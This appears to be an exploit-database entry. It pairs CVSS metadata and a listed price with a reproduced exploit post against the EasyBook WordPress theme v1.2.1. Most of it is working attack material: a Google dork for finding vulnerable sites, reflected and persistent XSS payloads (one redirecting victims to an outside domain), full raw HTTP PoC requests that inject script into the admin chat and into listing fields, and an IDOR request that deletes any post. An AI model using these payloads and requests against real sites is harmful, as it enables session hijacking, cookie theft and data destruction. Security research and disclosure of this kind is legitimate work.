EasyBook – Directory & Listing WordPress Theme v1.2.1 Multiple Vulnerabilities
CVE
Category
Price
Severity
CVE-2020-24799
CWE-79
$500
High
Author
Risk
Exploitation Type
Date
Mehmet Das
High
Remote
2019-12-27
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity Low I Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system. Availability Low A There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019120110 EasyBook Directory & Listing WordPress Theme v1.2.1 Multiple Vulnerabilities # Exploit Title: EasyBook Directory & Listing WordPress Theme v1.2.1 Multiple Vulnerabilities
# Google Dork: /wp-content/themes/easybook/
# Date: 27/12/2019
# Exploit Author: m0ze
# Vendor Homepage: https://cththemes.com/
# Software Link: https://themeforest.net/item/easybook-directory-listing-wordpress-theme/23206622
# Version: 1.2.1
# Tested on: Parrot OS
# CWE: 79
----[]- Reflected XSS: -[]----
Input field with placeholder Hotel , City... on the homepage is vulnerable. Same thing with a regular search (block under the Add Listing button).
Payload Sample #0: <img src=x onerror=alert(document.cookie)>
Payload Sample #1: <img src=x onerror=window.location=`https://m0ze.ru`;>
PoC #0: https://www.easybook.cththemes.org/?search_term=%3Cimg+src%3Dx+onerror%3Dalert%28document.cookie%29%3E&checkin=&checkout=&adults=1&children=0
PoC #1: https://www.easybook.cththemes.org/?search_term=%3Cimg+src%3Dx+onerror%3Dwindow.location%3D%60https%3A%2F%2Fm0ze.ru%60%3B%3E&checkin=&checkout=&adults=1&children=0
----[]- Persistent XSS -> Chat: -[]----
Possibility to use any cookie stealing payload to hijack user/administrator session or force redirect to malicious website (from https://www.easybook.cththemes.org/dashboard/#/chats or from chat widget on the bottom right corner).
Payload Sample #0: <img src=x onerror=alert(`m0ze`)>
Payload Sample #1: <img src=x onerror=window.location=`https://m0ze.ru`;>
PoC:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.easybook.cththemes.org
User-Agent: Mozilla/5.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: https://www.easybook.cththemes.org
DNT: 1
Connection: close
Referer: https://www.easybook.cththemes.org/dashboard/
Cookie: _your_cookies_here_
action=easybook_addons_chat_reply&_nonce=1c8cd14288&cid=600&user_id=XXX&touid=1&reply_text=_payload_
Where:
user_id=XXX (your unique WordPress ID);
touid=1 (message receiver ID, in this example ID 1 == account admin);
reply_text=_payload_ (your payload).
----[]- Persistent XSS -> Listing page: -[]----
Add new listing here https://www.easybook.cththemes.org/dashboard/#/addListing (first time you need to order a Free plan and go to this URL again).
Vulnerable input fields: Address, Longitude, Latitude, Fact Title and Fact Number.
Payload Sample #0: "><img src=x onerror=alert(document.cookie)>
Payload Sample #1: "><h1>Greetings from m0ze</h1>
Payload Sample #2: "><script>alert(`PoC`);</script>
PoC:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.easybook.cththemes.org
User-Agent: Mozilla/5.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------970149683563
Content-Length: 4142
Origin: https://www.easybook.cththemes.org
DNT: 1
Connection: close
Referer: https://www.easybook.cththemes.org/dashboard/
Cookie: _your_cookies_here_
-----------------------------970149683563
Content-Disposition: form-data; name="lid"
0
-----------------------------970149683563
Content-Disposition: form-data; name="listing_type_id"
5058
-----------------------------970149683563
Content-Disposition: form-data; name="isSubmit"
true
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[timezone]"
America/New_York
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Monday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Tuesday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Wednesday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Thursday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Friday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Saturday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="working_hours[Sunday][static]"
enterHours
-----------------------------970149683563
Content-Disposition: form-data; name="locations"
US|M
-----------------------------970149683563
Content-Disposition: form-data; name="title"
PoC
-----------------------------970149683563
Content-Disposition: form-data; name="address"
"><img src=x onerror=alert(1)>
-----------------------------970149683563
Content-Disposition: form-data; name="longitude"
"><img src=x onerror=alert(2)>
-----------------------------970149683563
Content-Disposition: form-data; name="latitude"
"><img src=x onerror=alert(3)>
-----------------------------970149683563
Content-Disposition: form-data; name="author_email"
M
-----------------------------970149683563
Content-Disposition: form-data; name="author_phone"
M
-----------------------------970149683563
Content-Disposition: form-data; name="author_website"
M
-----------------------------970149683563
Content-Disposition: form-data; name="content"
"><img src=x onerror=alert(document.domain)>
-----------------------------970149683563
Content-Disposition: form-data; name="features[0]"
303
-----------------------------970149683563
Content-Disposition: form-data; name="features[1]"
300
-----------------------------970149683563
Content-Disposition: form-data; name="features[2]"
305
-----------------------------970149683563
Content-Disposition: form-data; name="features[3]"
302
-----------------------------970149683563
Content-Disposition: form-data; name="facts[0][title]"
"><img src=x onerror=alert(9)>
-----------------------------970149683563
Content-Disposition: form-data; name="facts[0][number]"
"><img src=x onerror=alert(10)>
-----------------------------970149683563
Content-Disposition: form-data; name="facts[0][icon]"
123
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_id]"
-imgsrcxonerroralert12
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_name]"
M
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_desc]"
M
-----------------------------970149683563
Content-Disposition: form-data; name="lservices[0][service_price]"
0
-----------------------------970149683563
Content-Disposition: form-data; name="action"
submit_listing
-----------------------------970149683563
Content-Disposition: form-data; name="_wpnonce"
1c8cd14288
-----------------------------970149683563--
----[]- IDOR: -[]----
Delete any post/page/listing:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.easybook.cththemes.org
User-Agent: Mozilla/5.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: https://www.easybook.cththemes.org
DNT: 1
Connection: close
Referer: https://www.easybook.cththemes.org/dashboard/
Cookie: _your_cookies_here_
action=easybook_addons_delete_listing&_nonce=1c8cd14288&lid=XXXX
Where:
lid=XXXX (page/post/listing unique WordPress ID, can be discovered as a page class for <body> tag).
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